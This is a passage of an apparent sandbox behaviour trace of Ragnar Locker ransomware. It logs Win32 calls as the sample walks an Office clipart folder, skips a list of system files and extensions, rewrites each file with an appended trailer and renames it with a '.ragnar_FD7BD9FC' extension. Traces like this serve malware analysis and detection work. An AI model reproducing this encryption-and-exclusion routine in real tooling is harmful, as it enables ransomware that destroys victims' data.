lpNewFilePointer=0x0) returned 1 [0085.967] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2004, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.967] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2004, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2004, lpOverlapped=0x0) returned 1 [0085.967] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2004, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.967] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.967] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.967] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.967] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.967] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.968] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.968] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.968] GetProcessHeap () returned 0x580000 [0085.968] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.968] CloseHandle (hObject=0xf4) returned 1 [0085.968] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" [0085.968] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.ragnar_FD7BD9FC" [0085.968] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.968] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200163.WMF", cAlternateFileName="")) returned 1 [0085.968] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.969] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0200163.WMF" | out: lpString1="J0200163.WMF") returned="J0200163.WMF" [0085.969] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned=".WMF" [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="autorun.inf") returned 1 [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="boot.ini") returned 1 [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="bootfont.bin") returned 1 [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="bootsect.bak") returned 1 [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="bootmgr") returned 1 [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="bootmgr.efi") returned 1 [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="bootmgfw.efi") returned 1 [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="desktop.ini") returned 1 [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="iconcache.db") returned 1 [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="ntldr") returned -1 [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="ntuser.dat") returned -1 [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="ntuser.dat.log") returned -1 [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="ntuser.ini") returned -1 [0085.969] lstrcmpiW (lpString1="J0200163.WMF", lpString2="thumbs.db") returned -1 [0085.969] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.969] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.969] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.969] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.969] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.969] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.969] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf")) returned 0x20 [0085.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.970] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7180) returned 1 [0085.970] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.970] GetProcessHeap () returned 0x580000 [0085.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.970] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.972] VirtualAlloc (lpAddress=0x0, dwSize=0x1c0c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.972] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.972] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.972] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c0c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1c0c, lpOverlapped=0x0) returned 1 [0085.974] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.974] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c0c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.975] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c0c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1c0c, lpOverlapped=0x0) returned 1 [0085.975] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c0c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.975] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.975] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.975] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.975] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.975] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.975] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.975] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.975] GetProcessHeap () returned 0x580000 [0085.975] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.975] CloseHandle (hObject=0xf4) returned 1 [0085.975] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" [0085.975] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.ragnar_FD7BD9FC" [0085.976] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.976] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200183.WMF", cAlternateFileName="")) returned 1 [0085.976] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.976] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0200183.WMF" | out: lpString1="J0200183.WMF") returned="J0200183.WMF" [0085.976] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned=".WMF" [0085.976] lstrcmpiW (lpString1="J0200183.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.976] lstrcmpiW (lpString1="J0200183.WMF", lpString2="autorun.inf") returned 1 [0085.976] lstrcmpiW (lpString1="J0200183.WMF", lpString2="boot.ini") returned 1 [0085.976] lstrcmpiW (lpString1="J0200183.WMF", lpString2="bootfont.bin") returned 1 [0085.976] lstrcmpiW (lpString1="J0200183.WMF", lpString2="bootsect.bak") returned 1 [0085.976] lstrcmpiW (lpString1="J0200183.WMF", lpString2="bootmgr") returned 1 [0085.976] lstrcmpiW (lpString1="J0200183.WMF", lpString2="bootmgr.efi") returned 1 [0085.976] lstrcmpiW (lpString1="J0200183.WMF", lpString2="bootmgfw.efi") returned 1 [0085.976] lstrcmpiW (lpString1="J0200183.WMF", lpString2="desktop.ini") returned 1 [0085.976] lstrcmpiW (lpString1="J0200183.WMF", lpString2="iconcache.db") returned 1 [0085.976] lstrcmpiW (lpString1="J0200183.WMF", lpString2="ntldr") returned -1 [0085.977] lstrcmpiW (lpString1="J0200183.WMF", lpString2="ntuser.dat") returned -1 [0085.977] lstrcmpiW (lpString1="J0200183.WMF", lpString2="ntuser.dat.log") returned -1 [0085.977] lstrcmpiW (lpString1="J0200183.WMF", lpString2="ntuser.ini") returned -1 [0085.977] lstrcmpiW (lpString1="J0200183.WMF", lpString2="thumbs.db") returned -1 [0085.977] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.977] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.977] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.977] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.977] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.977] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.977] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf")) returned 0x20 [0085.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.977] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5312) returned 1 [0085.977] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.977] GetProcessHeap () returned 0x580000 [0085.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.977] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.979] VirtualAlloc (lpAddress=0x0, dwSize=0x14c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.979] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.979] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.979] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x14c0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x14c0, lpOverlapped=0x0) returned 1 [0085.980] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.980] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.980] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x14c0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x14c0, lpOverlapped=0x0) returned 1 [0085.980] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.980] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.980] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.980] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.981] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.981] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.981] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.981] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.981] GetProcessHeap () returned 0x580000 [0085.981] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.981] CloseHandle (hObject=0xf4) returned 1 [0085.981] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" [0085.981] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.ragnar_FD7BD9FC" [0085.981] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.982] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200189.WMF", cAlternateFileName="")) returned 1 [0085.982] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.982] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0200189.WMF" | out: lpString1="J0200189.WMF") returned="J0200189.WMF" [0085.982] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned=".WMF" [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="autorun.inf") returned 1 [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="boot.ini") returned 1 [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="bootfont.bin") returned 1 [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="bootsect.bak") returned 1 [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="bootmgr") returned 1 [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="bootmgr.efi") returned 1 [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="bootmgfw.efi") returned 1 [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="desktop.ini") returned 1 [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="iconcache.db") returned 1 [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="ntldr") returned -1 [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="ntuser.dat") returned -1 [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="ntuser.dat.log") returned -1 [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="ntuser.ini") returned -1 [0085.982] lstrcmpiW (lpString1="J0200189.WMF", lpString2="thumbs.db") returned -1 [0085.982] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.982] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.982] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.982] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.982] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.982] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.982] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf")) returned 0x20 [0085.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.983] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8060) returned 1 [0085.983] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.983] GetProcessHeap () returned 0x580000 [0085.983] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.983] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.984] VirtualAlloc (lpAddress=0x0, dwSize=0x1f7c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.984] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.985] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.985] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f7c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f7c, lpOverlapped=0x0) returned 1 [0085.985] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.985] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.986] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f7c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f7c, lpOverlapped=0x0) returned 1 [0085.986] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.986] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.986] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.986] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 